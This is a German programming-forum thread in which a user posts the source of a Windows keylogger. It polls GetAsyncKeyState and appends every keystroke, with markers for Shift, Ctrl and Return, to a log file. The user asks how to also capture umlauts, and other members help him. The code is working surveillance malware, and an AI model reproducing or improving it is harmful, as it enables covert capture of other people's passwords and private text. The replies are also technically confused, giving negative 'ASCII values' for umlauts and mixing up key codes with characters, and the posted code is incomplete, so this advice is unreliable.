Keylogger zeichenaufnehmen
-
Hallo alle zusammen,
mein Programm: ich habe mir einen kleinen keyloggerger coded der alle zeichen der Tastatur einlesen kann auser: ä ü ö und ß
nun meine Frage: wie kann ich die Zeichen ä ü ö und ß ermitteln, ich habe mir Tasten wie Enter usw. über ascii ermittelt, aber soweit ich weiß gibt es ja keinen ascii code für ö ä ü ß, kann mir einer von euch sagen wie ich diese Zeichen ermitteln kann ?
Danke im vorraus !
Gruß,
Peter
-
mach
unsigned chardann geht es -> damit gehst du halt nicht von -128 (außerhalb des definitionsbereiches) bis 127 sondern nimmst das ä,ö usw. mit -> wertebereich 0 -> 255
mfg
stelfer
-
ich poste dir mal n stück von mein code evtl. kannst du mir dann genauer helfen:
short character; while(1) { Sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *log; log=fopen("C:\\log.txt","a+"); if(log==NULL) { return 1; } if(log!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,log); fclose(log); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,log); fclose(log); break; } else { switch(character) { case 187: fputc('+',log); fclose(log); break; case 188: fputc(',',log); fclose(log); break; case 189: fputc('-',log); fclose(log); break; case 190: fputc('.',log); fclose(log); break; case VK_NUMPAD0: fputc('0',log); fclose(log); break; case VK_NUMPAD1: fputc('1',log); fclose(log); break; case VK_NUMPAD2: fputc('2',log); fclose(log); break; case VK_NUMPAD3: fputc('3',log); fclose(log); break; case VK_NUMPAD4: fputc('4',log); fclose(log); break; case VK_NUMPAD5: fputc('5',log); fclose(log); break; case VK_NUMPAD6: fputc('6',log); fclose(log); break; case VK_NUMPAD7: fputc('7',log); fclose(log); break; case VK_NUMPAD8: fputc('8',log); fclose(log); break; case VK_NUMPAD9: fputc('9',log); fclose(log); break; case VK_CAPITAL: fputs("\r\n[CAPS LOCK]\r\n",log); fclose(log); break; case VK_SHIFT: fputs("\r\n[SHIFT]\r\n",log); fclose(log); case VK_SPACE: fputc(' ',log); fclose(log); break; case VK_CONTROL: fputs("\r\n[CTRL]\r\n",log); fclose(log); break; break; case VK_RETURN: fputs("\r\n[RETURN]\r\n",log); fclose(log); break; case VK_BACK: fputs("\r\n[BACKSPACE]\r\n",log); fclose(log); break; case VK_TAB: fputs("\r\n[TAB]\r\n",log); fclose(log); break; case VK_DELETE: fputs("\r\n[DELETE]\r\n",log); fclose(log); break; default: fclose(log); break; }
-
Dieser Thread wurde von Moderator/in TactX aus dem Forum ANSI C in das Forum WinAPI verschoben.
Im Zweifelsfall bitte auch folgende Hinweise beachten:
C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?Dieses Posting wurde automatisch erzeugt.
-
Ich glaub das ist nich erlaubt hier zu posten oder doch ?

-
PhoeNix_FasT schrieb:
Ich glaub das ist nich erlaubt hier zu posten oder doch ?

Was soll warum nicht erlaubt sein?
-
Das selbe würde ich auch sagen !
-
TactX schrieb:
PhoeNix_FasT schrieb:
Ich glaub das ist nich erlaubt hier zu posten oder doch ?

Was soll warum nicht erlaubt sein?
Ok das merke ich mir

-
OHOH, jetzt wird PhoeNix_FasT gleich mal mit einem fetten Viruscode antanzen, lool

Aber eigentlich müsste das Problem nun gelöst sein ... ein unsigned char hernehmen, und die enstprechenden ASCII - Codes extrahieren. Das müsste soweit klappen.
mikey.
-
es ist genauso erlaubt viriicode zu veröffentlichen

kann mir wer sagen wie ich das jetz in meinen code einfuegen soll ?
anstatt short charakter - unsigned char charakter denk ich jetz mal oder ?
-
Hi,
sorry, ich muss mich berichtigen. Du kannst weiterhin ein short nehmen, denn so deckst du den Bereich von -32768 bis 32768 ab. Die relevanten Buchstaben gehen sowieso nur von 0 bis ASCII 127, und die Umlaute sind negative ASCII - Werte, weshalb auch short. Somit deckst du alle benötigten Zeichen ab.
Hier die nötigen ASCII - Werte der Umlaute:
Ä = -114
ä = -124
Ü = -102
ü = -127
Ö = -103
ö = -108So, das müsste alles sein
Bei weiteren Problemen einfach fragen !//Edit: Es ist auch völlig irrelevant, ob du char oder (in dem Fall) short nimmst. Denn Buchstaben sind im Prinzip nichts anderes als Zahlenwerte, weshalb du theoretisch auch ein int nehmen könntest, dass dann die ASCII - Werte der Buchstaben abspeichert. Allerdings reicht der Wertebereich von unsigned char (0-255) oder char (-128 - 128) für dich nicht aus (ich hab da mal 222 bei dir gesehen), weshalb short in Frage kommt.
MfG, mikey.